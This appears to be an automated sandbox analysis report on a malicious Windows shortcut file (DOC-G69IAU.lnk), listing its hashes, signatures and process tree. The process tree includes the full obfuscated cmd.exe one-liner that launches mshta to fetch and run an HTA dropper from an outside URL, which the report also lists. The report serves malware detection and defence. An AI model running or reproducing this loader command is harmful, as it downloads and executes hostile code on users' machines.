Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:29

General

  • Target
    DOC-G69IAU.lnk
  • Size 2KB
  • Sample260803-qrfrdscj81
  • SHA256 68dd966bc6f2075390089881da1e87a63d73b873d9b2da5e2ea0b859001f5ea4
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G69IAU.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3396
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set haY=5mshop&&set CSV=ecnto&&set AzgX=e08ay7&set SYW=dbggeiwqawfdbg&set ZcQ=syszxdwmrqwbofbxeorosys&set gESMi=winnbtesmbyxewin&set eCd=netfmqtazoknet&set ETAX=cachehguodykpcache&set Pvkg=4stwn&&set ZO=jayrt&&set jolrK=1x2rtca3&set EcA=bakqftrzakshtwunlobbak&set HKHhS=dattgrcrunjsciegwdbgdat&set LeihG=cfgrhstyvyzcfg&set JlWLc=cfgxoooahricfg&&set Qd=http@s://@bro-@p@dffi@l@le@[email protected]/h@/@estag@io1@.@php@?@r=36076@1F@15794&&start /b !haY:~1,3!!CSV:~3,1!!AzgX:~3,1! !Qd:@=!&&set sTogd=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\System32\mshta.exe
        mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:2232

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads